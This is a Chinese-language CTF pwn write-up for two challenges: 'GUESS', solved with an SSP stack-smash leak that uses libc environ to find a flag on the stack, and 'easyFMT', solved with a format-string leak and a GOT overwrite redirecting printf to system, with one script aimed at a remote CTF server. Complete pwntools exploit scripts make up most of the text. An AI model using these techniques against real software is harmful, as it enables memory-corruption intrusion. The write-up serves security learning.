第一场
GUESS
SSP leak flag
这次学到了一个知识点 environ存在栈地址
三次leak得到flag
先根据got去libc database,然后确认libc,然后去泄露libc.symbols[“environ”],这个里边存的是栈地址。
第一次 leak puts函数地址
puts_got = elf.got['puts']
payload = p64(puts_got)*300
p.sendline(payload)
p.recvuntil("You should take more effort to get six sence, and one more challenge!!\n")
puts = p.recvline()[33:33+6].ljust(8,"\x00")
puts = u64(puts_real)
print hex(puts)
通过 puts_addr 查找libc版本
第二次 leak environ
environ = puts-libc.symbols['puts']+libc.symbols['environ']
payload = p64(environ)*300
p.sendline(payload)
p.recvuntil("You should take more effort to get six sence, and one more challenge!!\n")
flag_addr = p.recvline()[33:33+6].ljust(8,"\x00")
flag_addr = u64(flag_addr) - 0x168
print hex(flag_addr)
第三次 leak flag
payload = p64(flag_addr)*300
p.sendline(payload)
print p.recvall(timeout=1)
EXP
from pwn import *
context.log_level = 'debug'
p = process('./GUESS')
elf = ELF('GUESS')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
puts_got = elf.got['puts']
payload = p64(puts_got)*300
p.sendline(payload)
log.info(p.recvuntil('You should take more effort to get six sence, and one more challenge!!\n'))
puts = u64(p.recvline()[33:33+6].ljust(8,"\x00"))
print hex(puts)
environ = puts-libc.symbols['puts']+libc.symbols["environ"]
print hex(environ)
payload = p64(environ)*300
p.sendline(payload)
p.recvuntil("You should take more effort to get six sence, and one more challenge!!\n")
flag_addr = p.recvline()[33:33+6].ljust(8,"\x00")
flag_addr = u64(flag_addr) - 0x168
print hex(flag_addr)
payload = p64(flag_addr)*300
p.sendline(payload)
print p.recvall(timeout=1)
得到flag
第二场
easyFMT
检查保护
ios@ubuntu:~$ checksec fmt
[*] '/home/ios/fmt'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
ios@ubuntu:~$
NX开启
载入ida分析
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
char buf; // [esp+8h] [ebp-70h]
unsigned int v4; // [esp+6Ch] [ebp-Ch]
v4 = __readgsdword(0x14u);
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
puts("Do you know repeater?");
while ( 1 )
{
read(0, &buf, 0x64u);
printf(&buf); //漏洞存在点
putchar(10);
}
}
很显然的字符串格式化漏洞利用
先来进行测试偏移
ios@ubuntu:~$ ./fmt
Do you know repeater?
AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
AAAA.0xffab5268.0x64.0xf7dc88fb.0xffab528e.0xffab538c.0x41414141.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025
�a��
看到距离AAAA 6个偏移处得到地址0x41414141
利用偏移地址打印,打印出got表 从而获得libc版本 进而获得system地址
leak puts_addr
p = process('./fmt')
elf = ELF('fmt')
puts_got = elf.got['puts']
print hex(puts_got)
payload = p32(puts_got)+'#'+'%6$s'+'#'
print p.recv()
p.sendline(payload)
p.recvuntil('#')
puts = u32(p.recvuntil('#')[:4])
print hex(puts)
获取libc版本
计算获得system_addr
system_addr= puts-libc.symbols['puts']+libc.symbols['system']
EXP编写思路
确定格式化字符串参数偏移
利用put@got获取put函数地址,进而获取对应的libc.so的版本,进而获取对应system函数地址。
修改printf@got的内容为system的地址。
当程序再次执行printf函数的时候,其实执行的是system函数。
利用pwntools自带工具修改
payload1 = fmtstr_payload(6, {printf_got: system_addr})
EXP
from pwn import *
#context.log_level='debug'
#p = process('./fmt')
p = remote('106.75.126.184',58579)
elf = ELF('fmt')
libc = ELF('/lib32/libc.so.6')
puts_got = elf.got['puts']
printf_got = elf.got['printf']
print hex(puts_got)
payload = p32(puts_got)+'#'+'%6$s'+'#'
print p.recv()
p.sendline(payload)
p.recvuntil('#')
puts = u32(p.recvuntil('#')[:4])
print hex(puts)
system_addr= puts-libc.symbols['puts']+libc.symbols['system']
payload1 = fmtstr_payload(6, {printf_got: system_addr})
p.sendline(payload1)
print p.recv()
p.interactive()
fgo
pwnable.tw 原题
过几天认真做做==